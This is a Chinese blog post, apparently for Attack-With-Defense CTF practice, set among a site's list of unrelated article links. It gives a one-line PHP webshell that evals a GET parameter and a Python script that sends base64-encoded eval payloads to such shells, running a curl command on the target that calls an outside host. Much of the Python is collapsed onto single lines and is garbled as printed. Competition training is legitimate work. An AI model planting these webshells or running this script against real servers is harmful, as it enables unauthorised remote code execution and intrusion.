当前位置: 首页 > news >正文

AWD脚本编写_1

AWD脚本编写_1

shell.php(放在网站根目录下)
<?php
error_reporting(0);
eval($_GET["yanxiao"]);
?>

脚本编写成功

image-20241117182141379

 

后门文件利用与解析
import requests
import base64def get_flag(url, flag_url, method, passwd, flag_path):cmd = "curl " + flag_url  # 修复命令拼写错误get_cmd = "echo system(\"%s\");" % cmddata = {}data[passwd] = "@eval(base64_decode($_POST['z0']));"data['z0'] = base64.b64encode(get_cmd.encode('utf-8')).decode('utf-8')  # 修复编码错误if method == "get":url = "http://" + url + "/" + flag_path  # 修复 URL 格式try:res = get_re(url)except Exception as e:print(f"{url} connection_timeout: {e}")return 0if res.status_code != 200:print(f"{url} webshell not found")return 0else:print(f"{url} webshell is found")elif method == "post":try:res = post_re(url, data)  # 传递 data 参数print(res.content)  # 打印响应内容except Exception as e:print(f"{url} connection_timeout: {e}")return 0if res.status_code != 200:print(f"{url} webshell not found")return 0else:print(f"{url} webshell is found")def get_re(url):res = requests.get(url=url, timeout=5)return resdef post_re(url, data):  # 添加 data 参数res = requests.post(url=url, data=data, timeout=5)return resurl = "127.0.0.1"
flag_url = "http://192.168.45.1"
method = "get"
passwd = "yanxiao"
flag_path = "shell.php"get_flag(url, flag_url, method, passwd, flag_path)#http://127.0.0.1/shell.php webshell is found
http://www.lryc.cn/news/487353.html

相关文章:

  • HarmonyOS 如何获取设备信息(系统、版本、网络连接状态)
  • 2411rust,1.80
  • FPGA 第6讲 简单组合逻辑多路选择器
  • Android Studio开发学习(五)———LinearLayout(线性布局)
  • 大模型(LLMs)RAG 版面分析------文本分块面
  • Web3游戏先锋 Big Time Studios 重磅推出 $OL 通证,赋能 Open Loot 游戏平台
  • Linux—ln(link files)命令使用方法(How to create links on Linux)
  • 学习日记_20241110_聚类方法(K-Means)
  • 解决Oracle DECODE函数字符串截断问题的深度剖析20241113
  • 开源模型应用落地-语音转文本-whisper模型-AIGC应用探索(二)
  • PHP框架 单一入口和多入口以及优缺点
  • PhpSpreadsheet导出图片
  • AI 提示词(Prompt)入门 十:最佳实践|详细询问,提供细节!
  • web应用安全和信息泄露预防
  • 《人工智能深度学习的基本路线图》
  • 基于Java Springboot宠物猫售卖管理系统
  • 力扣-Hot100-链表其三【算法学习day.36】
  • iOS逆向入门:使用theos注入第三方依赖库
  • JavaScript 原型
  • 力扣 LeetCode 20. 有效的括号(Day5:栈与队列)
  • git使用及上线流程(仅为我工作中常用)
  • React Native 全栈开发实战班 - 打包发布之热更新
  • 2024年11月16日 星期六 重新整理Go技术
  • 力扣第 55 题 跳跃游戏
  • Golang | Leetcode Golang题解之第564题寻找最近的回文数
  • Spring Boot汽车资讯:科技与速度的交响
  • 从 IDC 到云原生:稳定性提升 100%,成本下降 50%,热联集团的数字化转型与未来展望
  • 移动零
  • C#编写的日志记录组件 - 开源研究系列文章
  • 猎板PCB罗杰斯板材的应用案例